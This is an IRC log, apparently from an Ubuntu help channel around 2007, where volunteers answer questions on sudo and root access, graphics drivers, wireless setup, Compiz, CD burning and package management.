OpenGuru: just ask the question [16:42] ikonia i just want to connect to his desktop with vnc and do administrative work [16:43] i-rACEr: that doesn't change what I told you to do [16:43] ikonia a sudo profile? [16:43] lgc: Yes I know. But should I see "centrino" after the vendor_id, Model Name, etc. [16:43] I am thinking of purchasing a new graphics card. Want to know how sapphire 2600XT work with ubuntu ? [16:43] kuribohx: Not all hardware is compatable with the LiveCD, you can try installing using the AlternateCD. also please try to keep your questions/responses on one line [16:43] i-rACEr: yes, create a sudo list for him so that only $X command can be executed as root [16:43] i-rACEr: investiget the sudoers file [16:43] f === koyote_ is now known as koyote_eee [16:43] Odd-rationale, oops! Mine doesn't say that either! [16:44] any one with 2600XT ? How it works under ubuntu ? [16:44] Pici: sorry bout that, the alternate cd doesn't seem to apply to me [16:44] OpenGuru: its an ati card , so its touch and go [16:44] Odd-rationale, but I found a CLI instruction: cpufreq-selector. Do a man on it. [16:45] ikonia i don't want him to execute commands not even with sudo, i just want full control of the system from that user, is this possible? [16:45] lgc: lol I have a Intel Pentium processor 1.86GHz [16:45] i-rACEr: are you messing me around [16:45] ikonia, i didn't get you. Only reason for going to AMD/ATI is upcoming opensource driver [16:45] i-rACEr: Those two statements are one in the same. [16:45] OpenGuru: the open drivers won't be around for a while yet [16:46] Odd-rationale, does it have a 'stepping' info? Maybe it's that. [16:46] hello everyone... Can someone advise me as to what program that I can use in ubuntu to track clients and the buy sell transaction that would be a similar program to the "top Agent" in the Windows platform... I have recently converted to linux and really like it but other than Openoffice I need something geared a little more towards the real estate industry... Any Help would be appreciated [16:46] lgc: I have "stepping : 8" [16:46] ikonia, then which one you suggest then ? ATI 2600XT or nv 8600GT. Please help me in deciding. I need to give the orders tomorrow. [16:46] Odd-rationale, by 'do a man' I mean 'man cpufreq-selector'. [16:46] OpenGuru: at the moment I would always go nvidia [16:46] Hi there all, which burning program can burn to multiple drives at once on Linux? [16:47] OpenGuru: that may change at some point in the future [16:47] clouse: none that I'm aware off apart from a shell script with cd-record [16:47] Odd-rationale, so do I. I wonder if "stepping" means "speed stepping". [16:47] ok, from the beginning: i want to connect to his desktop with vnc and do administrative work, but i can't become root [16:47] i-rACEr: so put your user in the adm group [16:48] help! how to configure wicd with a WEP index key ? I did amend the relevant variable within the AP conf file, but it seems to e systematically overriden. Is there a trick ? Currently under microsoft just the time to find the solution, unfortunately wicd web site and faqs don't even mention the subject ? thanks! [16:48] ikonia, thanks for your view. At present I have nv 6200 card. Which has compiz black window bug since a year. So just want to confirm that 8600GT doesn't has any such bugs. [16:48] ikonia but that that user can also become root, and i don't want that [16:48] caravel: wicd is nothing to do with ubuntu [16:48] i-rACEr: you use your OWN account [16:48] Odd-rationale, try doing 'cpufreq-selector -f 800' or something like that... [16:48] i-rACEr: don't use his account [16:48] hello, i got a problem with apt-get, everytime i use sudo apt-get install it ask for my installation cd. How can i change apt-ge4t to download then and dont ask them anymore? [16:48] ikonia: cool "shell script with cd-record" I will have to look into that. [16:48] ikonia: NetworkManager doesn't work for me with WPA. What should I use, then? [16:49] lgc: Why would I (or you) want to the CPU freq? [16:49] spiritik_: remove the cdrom line from sources.list [16:49] spiritik, open synaptic and remove cd from repositories [16:49] hey guys how do i find out which /dev entry is corresponding to my line-in on my sound card? [16:49] ikonia: I am going to try Nero for Linux. [16:49] caravel: don't know [16:49] clouse: that won't do it [16:49] ikonia OpenGuru thx [16:49] ikonia so it's not possible to become root from within an accont that is not in the admin group? [16:49] i-rACEr: I don't think you understand how privileges work [16:49] i-rACEr, it is possible to be come root from any account, so long as you have the root password [16:49] clouse, i`m just burning [16:49] it is like logging in [16:49] i-rACEr: create your OWN account on his desktop, and use that [16:50] bruenig but i can't become root with the root password [16:50] ikonia: Ok I am not going to try that one, thanks for saving me the stuff around. [16:50] i-rACEr, sure you can [16:50] ok then. Is there any GUI wifi selector that support both WEP with key indexes and WPA under ubuntu ? Or should the most mobile users just look for another distro ? [16:50] bruenig no you can't [16:50] its there a way to know way nautilus freeze? icant use it [16:50] i-rACEr, mmmm pretty sure You can [16:51] bruenig: your onto a loser, trust me [16:51] caravel, you realize that distros don't write networking backends or front ends correct? [16:51] ikonia: i am using server, not desktop so i dont know where to look for sources.list [16:51] i-rACEr: Lets start over here, can you explain in a few words on one line what you are trying to do? [16:51] spiritik_: same places as the desktop [16:52] Does any body know way there are no programs that to parallel burning on Linux? [16:52] hey my friend lost his panels how do u get it back? [16:52] and the Home its the only place that automatically freeze [16:52] Odd-rationale, If I get your question right, for two reasons: To make things go slower (in order to save power, for example) or to make things go faster. Control, it's all what it's about. You're on Linux, not Windoze! [16:52] clouse: a shell script with cdrecord, as I've told you [16:52] morning everyone, i'm having a strange problem with u7.10, I am attempting to connect to a wep secured wireless network, but when I choose wep in the net manager, for the network, and i put in the key, the connect box stays greyed out, it has no problem connecting to unsecured networks or wpa/psk but wep is killing me.... anyone got any ideas? [16:52] clouse, perhaps rewrite that sentence in english [16:52] clouse: or multiple instances of the same program [16:52] pici i want to be able to become root from a users desktop that is not in the admin group [16:52] yes i have an accont on that machine, but that's not the point [16:53] has anyone here played Advanced Strategic Command (asc pkg)? [16:53] i-rACEr: you don't - you want to do it with someone elses account [16:53] i-rACEr: put your OWN account in the adm group [16:53] i-rACEr: su into your account then run sudo from there. [16:53] Does any body know why there are no programs that do parallel burning on Linux? [16:53] i-rACEr, ok when you say become root, what exactly do you mean, do you mean literally su - root or do you mean use sudo which is not actually root [16:53] clouse: do you want me to say it a fourth time [16:53] lgc: That's what I thought. I believe I already have mine at the max. don't want it any slower. ;) [16:53] But you want to change that from the CPU Monitor applet. Right? [16:54] Odd-rationale, but, honestly, I think frequency scaling is also possible on Windoze. [16:54] clouse: ask in ##linux and stop repeating here. [16:54] oh he has multiple disk drives and he wants to burn them at the same time is that what he is asking? [16:54] bruenig: yes. [16:54] bruenig: yup [16:54] bruenig i mean sudo -s -H, or tring to enable desktop effects and i'm asked for the root password [16:54] ok so ikonia has already told him [16:54] Odd-rationale, you might, if you use batt power. [16:54] ikonia No burenig asked me to re-post with out the typo's [16:55] i-rACEr, you are not asked for the root password, you are being asked for your password, you mean the ability to use sudo not the ability to be root user [16:55] Pici: I am not repeating [16:55] Ello folks, silly question: What do I have to do to get Rhythmbox to play MP3's? It doens't import them to the library by default and I can't find the option to enable it [16:55] bruenig: he won't put the user in the adm group, nor will he make a sudo profile for the user [16:55] clouse: Yes, you are.

Where did it go? [16:58] bruenig: which is not what he wants [16:58] hello :) [16:58] Pici: I am no longer asking if there is a program that does parallel burning on Linux but if anyone know why there are no programs that do parallel burning on Linux, why cant you understand that they are to different questions?

[16:58] nomojob: try pkill gnome-panel see if it shows up when it respawns [16:58] clouse: there are none, because there is no need for any [16:58] clouse: can we drop it now ? [16:58] clouse, the second question presupposes that there aren't any programs, but because there are, the question makes no sense, do you understand why you don't make sense now? [16:59] bruenig: lol! [16:59] clouse: This is Ubuntu support, if you have a 'why' question, its more suited for ##linux [16:59] pike_: still nothing. [17:00] i-rACEr: there is no solution. You need to change your requirments [17:00] hello all [17:00] bruenig: So there is but know one will tell me what they are? [17:00] sahil: Did he delete them, or just lose them? [17:00] bruenig: yes. And distro communities do act as an API between the users and the developers right, and are generally knowledgable about which front or back end works on their platform, correct ?^^ [17:00] clouse, cdrecord [17:00] clouse: I've told you 4 times already ! [17:00] Pici: Sure I understand, I am going there right now [17:00] Pici well they are just not visible [17:00] i can make either /boot or / a primary parition... is there a reasons to do one or the other? can both be extended paritions?

(acer notebook) [17:01] caravel, here is the deal, on any distro you get, wep and wpa will be handled by iwconfig and wpa_supplicant respectively. Those are cli apps and there are a host of gui front ends. The same gui front ends you can get on one distro can be had on another. So it is all the same tools.

[17:05] bruenig: ok, thanks for the time you spend trying to help me think (much!) better ^^ I feel my brain is kinda disabled now :) got you. So, is there any front end /at all/, n the Linux World, that works fine with WEP index key and handles WPA1/2 as well ? I had finally found an app that seemed to work in all conditions (wicd) and am kind of desperate to witness its failure now :( [17:05] ikonia: is there in /usr/bin/lsb_release [17:06] mohammadthebear: thats your desktop [17:06] when I login to ssh and try to run xterm it tells me the following: [17:06] X connection to localhost:10.0 broken (explicit kill or server shutdown) [17:06] pike_: i just get [program name here} cannot be installed on your computer type (i386).

[17:07] caravel, I use wifi-radar myself but I have never had to use wpa and only wep on occasion, although I think I recall having to drop to cli with wep on a few occasions so that might not be the best solution [17:07] What's a good cpufreqd program for GNOME?

[17:16] CroX: thats that out [17:17] [HUN]Zuburu: for example, ubuntu servers are in london. a mirror would be a server in hungary that has the same files as the main site [17:17] kitche: and that will get me out of any x thing and give me a terminal session? [17:17] [HUN]Zuburu: server = site = the place where ubuntu gets updates from [17:17] CroX: that's not the full error really since the error is really in the firefox.core which needs gdb to be ran on it to figure out why it cored on you [17:17] proog: yes [17:17] <[HUN]Zuburu> i see but it is not on the internet yet [17:17] I don't do anything in particular when it crashes either. I click a link, any link, hover a picture, whatever. And *boom*. [17:17] ciao [17:17] [HUN]Zuburu: then that's why the lookup is taking so long lol [17:17] [HUN]Zuburu: thats why its failing [17:17] kitche: thanks [17:17] !list [17:17] [HUN]Zuburu: just wait and it'll figure out that it's not connected [17:17] I am ubotu, all-knowing infobot.

[17:41] SP535: yeah that's it. make sure the cd you are installing ubuntu from is also defect-free [17:41] if i want to open an application through terminal, what code can i use so the application stays open after i quit the said terminal window? [17:42] LiMaO: It is, checked it before installing ;P [17:42] ok, sorry for it, that I will change...

[17:43] i find this quite anoying... whenever you install something... lets say... Eclipse... dependencies get installed aswell... altho, whenever you uninstall Eclipse..., all the dependencies will stay untouched.... how can i remove a package and all its dependencies (where possible) ? [17:44] RvGaTe: use aptitude [17:44] RvGaTe: (to install and remove) [17:44] jrib, ok... and what do i do with it ? [17:44] if i want to open an application through terminal, what code can i use so the application stays open after i quit the said terminal window? [17:44] Is it hard to use Ubuntu, for a person like me, I mean don't know how to burn a CD? [17:44] _rfu: for a dual boot?

[17:45] yes jrib... [17:45] RvGaTe: if you installed PACKAGE with aptitude, yes [17:45] orwellian: right click on the iso, burn [17:45] jrib, i installed it with the package manager (gui version) [17:45] ok... [17:45] RvGaTe: Open synaptic. On the left, select status. The autoremovable packages are the left overs. [17:46] RvGaTe: you can probably do 'sudo apt-get autoremove' then, but I've always preferred aptitude [17:46] Odd-rationale, thanks, thats what i needed [17:46] jrib, thx for your help to [17:46] appreciated [17:46] RvGaTe: Check this link also: http://ubuntuforums.org/showthread.php?t=140920 [17:46] Question, I have a soundblaster card --- in Windows, I have some real nice utilities to add sound effects to what I am hearing, like echo, themes, etc --- anyone with a high end sound card knows what I am talking about.

[17:49] kitche: There is nothing in Ubuntu that allows you to do things like the various themes you get from sound cards? That really surprises me [17:49] I have xp and feisty on a 20 gig [17:49] Hammer89: The minium is 4GB, but 10 is plenty.

I cant seem to find a quick way of changing my network settings. at work im on a fixed ip and at home im on dhcp and its a bit of a hassle to make all the changes everytime. thanks. [18:04] !info opera [18:04] Package opera does not exist in gutsy [18:04] is there anyway to go from a 32bit ubuntu to a 64bit ubuntu without reinstalling? [18:04] hackeron_: no. [18:04] !opera | Ti1 [18:04] Ti1: opera is an advanced and free (only as in price) web browser. Install it via Applications->Add/Remove..., making sure that "Show commercial applications" (dapper only) is checked. For more info on opera please see: https://help.ubuntu.com/community/OperaBrowser [18:04] hackeron_, no [18:04] maek, check out wcid [18:05] void^: there's no, no in linux :) [18:05] i have opera in Add/Remove and I'm using gutsy.

[18:05] Jack_Sparrow, my webcam is not on that list [18:05] orwellian: Free/Open Source Software [18:05] With compiz enabled I have no window borders, decorations, etc. Running gtk-window-decarator has no effect. What other options do I have? [18:06] hackeron_: my understanding of what that would entail is that it would be far-too-complicated [18:06] How can I use XRender on this 565 visual when XRender only support 555 format? :( === rayb0t is now known as kingrayray [18:06] Overand: that's ok, lol [18:06] yes, I hope I will :) [18:06] Overand: one thing is I want to do it over the internet, lol [18:07] shanky: that's unlikely to work. Why do you need 2.6.18 ? [18:07] how can i make nautilus and other windows remember their size when not maximized like for example 640*480 [18:07] maek, yes, it allows profiles and its really easy to setup, i'll even walk you through it [18:07] nico, found it resolution: 86x83 dots per inch [18:07] nico: Someone may have one or a way to get it working.. Sorry, I dont do webcams [18:07] :p [18:07] hackeron_: you're most likely going to lock yourself out of the system [18:07] tyranos: close all nautilus windows, open one, set it to the size you like, close it, future windows should remember that size [18:07] Does Ubuntu have a command-line service editor, or just /etc/rc?.d? [18:07] tyranos: or use devilspie [18:08] soundray: to hace support for a pci tv card [18:08] Twey: update-rc.d [18:08] Ti1: Still there? [18:08] Can anyone give me any hints/links/keywords on how to improve batterylife plus decreasing the cpu-frw [18:08] shanky: which one? [18:08] Thanks [18:08] yes. [18:08] http://www.linuxtv.org/wiki/index.php/Hauppauge_WinTV-HVR-3000 [18:08] Overand: well, I can install the 64bit kernel and it will work with 32bit binaries, then the crucial moment is replacing glibc, but that should work, then replace the rest - there is a risk, but I'm just wondering if anyone here did it and has any documentation [18:08] i just added the repository suggested on the ubuntu opera documentation page [18:08] Clinton_1, thx i ll try the first one [18:09] ...but it didn't make opera available. [18:09] Ti1: do you have the page you read? [18:09] oh, and I'm running Ubuntu Studio, i don't know if that makes much of a difference [18:09] yeah. [18:09] With compiz enabled I have no window borders, decorations, etc. Running gtk-window-decorator has no effect. What other options do I have? [18:09] Ti1: Try this. Open System -> Admin ->Software Sources. Go to the Third-party Software tab. See if you archive.canonical enabled. [18:09] Clinton_1, try typing compiz --replace [18:10] Clinton_1: in gutsy? [18:10] CochiseIRL: k [18:10] bazhang: yes [18:10] Clinton_1: What does '/etc/init.d/postgresql-7.4 exists during rc.d purge' mean? Does it intend to remove the init script? :-\ [18:10] Clinton_1: with emerald? [18:10] .wc [18:10] i do, it reads http://archive.canonical.com/ gutsy partner [18:10] soundray: http://www.linuxtv.org/wiki/index.php/Hauppauge_WinTV-HVR-3000 [18:10] shanky: I would try compiling the module on the 2.6.22 kernel that you have. If it works, fine, if it doesn't, at least you haven't wrecked your system by trying to bend it around a 2.6.18 kernel [18:10] hackeron_: you're going to need to end up doing awful stuff using pivot_root, methinks [18:11] CochiseIRL: did not work [18:11] soundray: I have the modules compiled and loaded [18:11] but not working [18:11] Clinton_1, have you emerald installed? [18:11] CochiseIRL: no emarald [18:11] shanky: can you elaborate? [18:11] I can't find any linux drivers for a Xerox WorkCentre 232. I founa set of drivers form their site, but they didn't work? I need pdd files? [18:11] Clinton_1, try metacity --replace [18:12] I have no dvb-s support [18:12] k [18:12] Ti1: Did you already have it enabled? According to synaptic, opera comes from that repo. [18:12] Clinton_1: are you typing these in the terminal or the run command window? [18:12] i didn't have it enabled before. I just enabled it, but it still is not appearing in the add/remove programs or synaptics [18:12] shanky: can you elaborate more? [18:12] is there a version of PGP available for UBUNTU? [18:13] bazhang: terminal [18:13] Ti1: Did you "sudo aptitude update"? [18:13] apt-get update [18:13] no. [18:13] mortuis99: of course is there a version avaiable for Linux is what your question pretty much is [18:13] !gpg | mortuis99 [18:13] mortuis99: gpg is the GNU Privacy Guard. See https://help.ubuntu.com/community/GnuPrivacyGuardHowto and class #8 on https://wiki.ubuntu.com/ClassroomTranscripts [18:13] Ti1: Try that first. Then see if it works. [18:13] metacity --replace seems to revert it back to no compiz settings [18:13] !who [18:13] As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [18:13] Clinton_1: you should add a & after the replace then; go to ccsm and check window decorations plugin as well [18:13] Ti1: You need to do that any time you change repos [18:14] what is the command to reboot the sound card ? to free up the sound card to be used etc ? [18:14] bazhang: window decorations is checked [18:14] thanks for the info [18:14] soundray: when I use mythtv to add my card is only detected as dvb-t not as dvb-s [18:14] Clinton_1: sudo apt-get install emerald [18:15] my normal users don't have cmd line features like history, auto-completetion, but root does. what could be wrong? (server) [18:15] bazhang: k, done, next? [18:15] that didn't fix it... [18:15] !psx [18:15] Sorry, I don't know anything about psx - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [18:15] Clinton_1: type alt-f2 and in the window type compiz --replace (should be a run command window pop up) [18:16] anyone use PCSX emulator? [18:16] shanky: it could be a limitation of mythtv. Have you done the dvbstream-mplayer test as described under Testing-DVB-S? [18:16] another question [18:17] is their a way to monitor the cpu temperature in linux [18:17] yes [18:17] how [18:17] Ti1: did you hit the Reload button in synaptic?

[18:38] JackSparrow-ive not tried a live disk in it [18:38] no [18:38] harushimo: rather than installing the rpm, I suggest you find the acroread deb packages for 32-bit systems on packages.ubuntu.com. You can install it with 'sudo dpkg --force-architecture -i acroread*.deb' [18:38] ThusLex get ndiswrapper [18:38] the problem is i have to swap between ubuntu and windows to find out, so i was wondering if someone could tell me what to do now so i can write it down, go to ubuntu and do it all there... [18:38] harushimo: then you will need linux32 to run it. If you haven't installed that yet... [18:38] ThusLex: model/make of wifi card [18:38] so i need to do "sudo apt-get install ndiswrapper" right? [18:39] soundray: where would I get linux32 [18:39] ThusLex: Yes [18:39] ThusLex, what hardware do you use? [18:39] how do i fond out my model/make of my wifi on vista? [18:39] harushimo: 'sudo apt-get install ia32-libs ia32-libs-gtk linux32' [18:39] Dr_willis: there is a section on that page that might solve the issue I'm having, ty [18:39] soundray: I'll try your first command and then do the second one [18:39] soundray: thanks [18:40] how do i find out my hardware on Vista arash_ ? [18:40] ThusLex: Then you might have to plug your Dongle(If you have one) in at the Logon Screen. i have to, othrwise it wont work when I log on [18:40] harushimo: let me know whether it works or not [18:40] dongle? [18:40] soundray: I did this command: sudo dpkg --force-architecture -i acroread*.deb [18:40] ThusLex, Xevixuzi: depends on the card, didn't mean to interrupt. i had to compile ndis from source to get my card working [18:41] ThusLex: erm wait, are you on Vista or Ubuntu now? [18:41] ThusLex: The Ubuntu Forums have some good tutorials for Ndiswrapper (Google is Your friend [18:41] now im on vista [18:41] harushimo: did you download the package from packages.ubuntu.com first? [18:41] soundray: did I type this in wrong? if not, it didn't work [18:41] ThusLex: do you have your Ubuntu computer nearby? [18:41] soundray: I don't think do I that. I got the rpm from Adobe website [18:41] anyone know a gui file manager that can create hard links? [18:41] Question : In Ubuntu 7.10, would there be any reason for the default CD burner app to hogg 100% cpu time, forcing me to reset the pc?

[18:42] how do i remove kubuntu(not dual boot)? [18:42] ThusLex, Xevixuzi: and, finding a functional driver to use was fun too... using a dell 64-bit driver on an hp notebook [18:42] froglet: mc may be able to.. it can do pretty much everythign else [18:42] arash_ i have ubuntu on my usb key so i will have to boot my comptuer on the bootup [18:42] is it a pccard or built-in? [18:42] which is why i want to find out how to do it now, write it down so i can try it on ubuntu === DVS01work is now known as DVS01 [18:42] ThusLex: is it a pccard or built-in? [18:42] (i cant use both at the same time at the moment) [18:42] hi i just plugged in a new printer, got to a driver dialog, and accidentally closed that dialog [18:42] how can i get back to it? [18:43] harushimo: found it for you: http://archive.ubuntu.com/ubuntu/pool/multiverse/a/acroread/acroread_7.0.9-0.0.ubuntu0.6.10_i386.deb [18:43] pccard? [18:43] pike_: cool, i've give it a try [18:43] ThusLex: if you have a cable connection too, and just want to 'try out' if it works without it, you have the possibility to turn of the cable through administration -> networking [18:43] pike_: you don't know an X11 app?

[18:44] ok well at the moment i dont have the cable connected cos its on our other computer [18:44] let me explain it [18:44] C: is my win partition [18:44] harushimo: do a 'cd Desktop' first, if you haven't already [18:44] !ntfs | Kiborg [18:44] Kiborg: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions - For write access, see !NTFS-3g or !FUSE [18:44] ThusLex: or usb stick (pccard = pcmcia cardbus adapter, flatish and a little longer than a credit card) [18:44] Kiborg, yes. you can mount/access windows partitions from linux. [18:44] we have a desktop computer and a laptop, the desktop has xp and is connected to the internet via cable, the laptop has vista and is connected t othe internet via wireless. i have ubuntu on my usb key but it doesnt not connect to the internet via wireless.. [18:44] soundray: got it [18:45] is there a way to see if i have it installed without taking the laptop to bits spence? [18:45] desertfox150: how did you get kubuntu booted? [18:45] i installed it from a live cd [18:45] runs on startup [18:46] desertfox150: so then you should be able to boot from a xp cd [18:46] soundray: its installed [18:46] Hi all--can someone help me get a new printer set up? [18:46] ThusLex: Does your Laptop have a little (WLAN) Light? That will show if you have wireless on [18:46] soundray: thanks again [18:46] harushimo: is it working? [18:46] ThusLex: so, your wifi is built into the notebook? what processor (amd, p4, centrino, celeron) [18:46] i put the cd in, and its ignoring it and going straight to kubuntu [18:46] soundray: just ran the software, I'm in it now [18:46] when you enable to nvidia driver why doesn't the nvidia control thingy appear in the admin menu? [18:46] desertfox... BIOS [18:46] harushimo: excellent [18:46] yes the wireless light is on Xevixuzi when i go on vista [18:46] even in bios, it ignores the cd [18:47] desertfox150: then your cd is broken [18:47] but it doesnt work when i go on ubuntu (dont know if the ilght shows up though) [18:47] even when i tell it to boot from cd [18:47] soundray: I still don't get why is it bad idea to change an rpm to deb [18:47] it boots on my desktop though [18:47] soundray: I just want to know that really quick [18:47] yes spence my wifi is built in [18:47] direct rendering: No (If you want to find out why, try setting LIBGL_DEBUG=verbose) wit my ati X600...compiz fusion is working very nice tough....please help me? :( [18:47] ThusLex: can you run Ubuntu on your laptop, while using IRC on your computer, so i can run through everything [18:47] desertfox150: and your kubuntu cd boot's fine? [18:47] harushimo: because rpm's follow different conventions regarding what type of file goes where. [18:47] is there any other way to get load (besides uptime)? I need only the load for a script... [18:48] spence: processor: Intel(R) Celeron (R) M === preaction_ is now known as precoitus [18:48] soundray: makes sense [18:48] i dont have the disk, my friend installed it for me [18:48] harushimo: it often works, but it might not, and in your case especially, where you're running 32bit software on a amd64 architecture, resulting errors can be hard to track. [18:48] i have an ubuntu live cd, is it worth trying that? [18:48] kane77: from /proc/loadavg [18:48] is 60 Hz scanfrequency on the monitor the same as 60 Frames per second n a game? [18:49] Ballena: No [18:49] soundray: true, i'm not running amd64 processor. I'm running an intel but I agree with your statement [18:49] desertfox150: try just to see if your cd is bad/ wrong [18:49] Ballena: 60hz on a monitor frequency means that the image is redrawn 60 times per second [18:49] Xevixuzi: 60 Hz is how often the picure on the monitor will be update per second? === precoitus is now known as preaction [18:49] harushimo: at your leisure, have a look at the flash64 factoid (coming). I wouldn't recommend firefox32 though, for me nspluginwrapper works well. [18:49] Pici, what are the 4th and 5th number? [18:49] !flash64 | harushimo [18:49] everyones gone quiet now.... [18:49] Ballena:Yes [18:49] ok. So wha is the FPS then? [18:50] ill go and try booting it from the ubuntu cd [18:50] harushimo: You can run Flash, Real, and Java plugins in AMD64 bit computers with Firefox. see the steps to follow at https://help.ubuntu.com/community/FirefoxAMD64FlashJava [18:50] how many times the renderer "draws" frames [18:50] soundray: will do [18:50] ThusLex: open a terminal and execute: sudo lspci -vnn and post the output to pastbin [18:50] kane77: read man proc [18:50] ill come back witht the results [18:50] ThusLex: !pastebin [18:50] desertfox150: ok [18:50] ror: so where is the diffenrende between Hz and FPS? [18:50] if i have the ati driver installed how can i check my fps? [18:50] ok [18:50] spence do u have msn? [18:50] !pastebin [18:50] pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [18:50] Ballena: 60fps means the game shows 60 frames of graphics per second. if you are using a vsync option, the frames will be synchronized with the monitor refresh rate [18:50] Ballena, one is monitor rate the other is internal rate [18:50] CochiseIRL: glxgears -iacknowledgethatthistoolisnotabenchmark [18:51] can anyone help me with Xchat-Gnome? I just want to add a line like " /timer10 /msg nick Invite me " every time I connect to a server [18:51] soundray, what is a good benchmark? I've been looking for one [18:51] does anyone know of a router that can do "reverse QoS"? [18:51] actually i think ubuntu removed that silly thing for glxgears. and it defaults to showing he fps [18:51] goodbye! ThusLex: Good Luck WIth the WIFi! [18:51] spence, do you have msn? [18:51] ok. So if my FPS is higher than my Hz I can't se any changes? [18:51] soundray: why ubuntu just does an amd64 version, wouldn't be easier just to say x86_64 because both processors are 64 bit [18:52] harushimo: I agree. It's a historical thing, because AMD's 64bit CPUs have been around for longer. [18:52] harushimo, because ages ago when amd came out witht eh 64bit stuff.. that name got used by linux in general. [18:52] soundray, i ran glxgears but id dont see any fps [18:52] ThusLex: yes, i'm " sd_carter -at- yahoo -dot- com ", but i would prefer pastebin as others can comment as well [18:52] ati also has a fglrxgears program i think [18:52] CochiseIRL, are you running from a terminal? [18:52] ror, yes [18:52] Ballena: on first place if you are using a crt monitor, you shouldn't be working at less than 72hz. that's the minimum not to cause your eyes/brain any damage. [18:52] yes but i have to turn vista off and go on ubuntu [18:52] and i will do it later [18:53] harushimo: and Intel had an incompatible architecture called ia64 (now almost obsolete) [18:53] ThusLex: yes, that is my MSN name [18:53] so if i add u now i can talk to u later as well... [18:53] CochiseIRL: did you enter the option? [18:53] soundray: alright [18:53] soundray, [18:53] LiMaO: ok. And if I have a LCD TFT? [18:53] soundray, yes [18:53] Ballena: a high fps on a game just means it'll play smooth. that you won't have skipping frames [18:53] added spence [18:53] u got the invitation? [18:54] Ballena: on LCDs what matters is it response time. the less the better. [18:54] ok [18:54] all I need is cpu temperaturem, fan speed monitor program..anyone whats a good recommendation [18:54] CochiseIRL: maybe you misspelt it. Try glxgears -printfps (you're doing it from a terminal, I hope) [18:54] ThusLex: no chat software in vista? you are not authorized [18:54] > writes to the beginning of a file, overwriting ? [18:54] harushimo: these things are very hardware dependent, unfortunately.

[20:26] clay__: 21:26 the reason you have to use dpkg --force-confmiss is because whenever your config files () are gone, dpkg assumes you deleted them on purpose, and that you want them to stay deleted.

[20:51] yes iceman_ I see compiz and alot of boxes that are checked in green and other are blank [20:51] check all of them. [20:51] how can i set a higher resolution?? [20:51] ok [20:51] it just doesn't move from 89% - it's been at the same point for hours and because this stupid installer doesn't show ANY information during the install - I have no idea what's happening [20:51] kazil: I am back for a moment but cannot remain [20:51] im mark them for installation [20:51] word [20:51] and to make matters worse, the search function on the ubuntu forums is broken. [20:51] genii: if i boot into live cd can i get it there somehow back to normal? say turn off the restricted driver? [20:52] boo. my swap wont automount. :T [20:52] Anyone here successfully mounted hfs+ partition with read and WRITE ?? === arash_ is now known as arash [20:53] genii: btw thank u a lot for ur time (and a special thanks for ur boss :P) [20:53] Okay - new question - Feisty seems to have GTK 2.10.11 by default - I need to get this up to 2.10.13 - how do I go about doing that? === psykidellic is now known as tehansen [20:53] does anybody else have any idea why this ubuntu install is hanging at 89% on "checking for packages to remove" ? [20:53] checking a dead repo? [20:54] is the nonfree flash player plugin up to date on the LTS desktop ubuntu? I have a friend who's having trouble using snapfish.com ...site tells her to upgrade her flash player, but i'm logged in via ssh and apt-get tells me flashplugin-nonfree is at the latest version... [20:54] i guess my larger question is whether there is some more capable/newer flash plugin she's supposed to be using [20:54] does anybody else have any idea why this ubuntu install is hanging at 89% on "checking for packages to remove" ? [20:55] breakerfall - I'm still using Feisty, so I'm afraid I have no idea or advice for you [20:55] breakerfall: is it checking a dead repo? [repeat...] [20:55] krabador: you still around? [20:56] hi bounce [20:56] i-m back [20:56] krabador: i'm going to have to step away for a while.... [20:56] kdub432: how would I check? [20:56] now ive plug my drive [20:56] iceman_ everything is ready to go except compiz-compcomm-plugins-main it said dependency problems with that and compiz-gtk was marked as a dependency problem but was never uploaded [20:56] ok [20:56] krabador: but here's an excellent start for you.... [20:56] krabador: within the ntfsprogs (from a terminal, execute: sudo apt-get ntfsprogs) is a utility called ntfsundelete... you can use this utility to scan for all recoverable files or filter by executing: ntfsundelete /dev/hda1 -s -m ’*.doc’ where /dev/hda1 would be altered to the actual /dev/driveXpartition# (/dev/hdb1, /dev/sda3, /dev/scd5, etc...) and -s is scan and -m is match the following pattern. [20:56] system -> preferences -> desktop preference is where u configuere compiz [20:56] ok [20:57] very friendly spence! [20:57] krabador: always works well for me... just google ntfsprogs and ntfsundelete if you need more info... otherwise, i'll be back in a couple of hours. [20:57] does anybody else have any idea why this ubuntu install is hanging at 89% on "checking for packages to remove" ? [20:58] any luck [20:58] breakerfall: Is it connected to the net while installing?

[20:59] hi all, i've just switched from azerty BE to dvorak. so i added dvorak layout, removed azerty BE, and boted with dvorak keyb. all works fine except at logon it is still azerty be, after logon it' dvorak. how can i resolve this? [20:59] check compiz-fusion irc servers. lots of help [20:59] ArthurArchnix: I'm using the box right now to speak here... it doesn't lock the machine [20:59] breakerfall: Have you tried installing without being connected? [21:00] ArthurArchnix: I haven't - but should that cause a problem? And will I have to now start the whole thing again? [21:00] can grep be used to recover a deleted file? and does the partition need to be unmounted for that? [21:00] I guess it can't hurt to try disconnecting now [21:00] i'm probably forgetting something REALLY obvious, but why won't [ awk "s/ clear [21:00] does anyone know about the ubuntu vinisever for vncing abilities? [21:00] breakerfall: I'm confused. Are you saying that you're currently on one machine chatting here, and looking at another machine that has hung at "removing packages" [21:00] oops [21:00] wait, forgot to escape the not a console window :) [21:01] * genii marvels at the many uses of grep [21:01] ArthurArchnix: I'm using the machine that I'm installing ubuntu on (live CD) [21:01] So... [21:01] i need help with kismet [21:01] Does anybody have any advice for me on GTK? [21:01] i've gone through https://help.ubuntu.com/community/Subversion and set up one svn repo, and have been using it for a couple of weeks, everything's good there. i'd like to create and be able to access multiple repos though, but i'm not sure what to do with apache/svn to allow this [21:01] anyone [21:01] When you go dual screen in Ubuntu and you use seperate X, do you actually have use more than one xorg.conf files? [21:02] join #ubuntu-dk [21:02] who? me [21:02] ? [21:02] breakerfall: If you begin the installation connected to the net, and during installation you lose your connection, it could cause the installation to hang as it looks for repos that were available at the start of install but are no longer. That's just a guess. In any event, if you've checked for errors the next thing I'd try is disconnecting the cd. I'm sorry I can't be more specific. [21:02] umm.. anyone know a package to enable utf8 support in php / how one goes about doing that? my php turns all unicode (hindi) characters from my DB to junk .... [21:03] how can i rotate my X window by 90 degrees? [21:03] I want to roatte my entire X window / desktop by 90 degrees ... 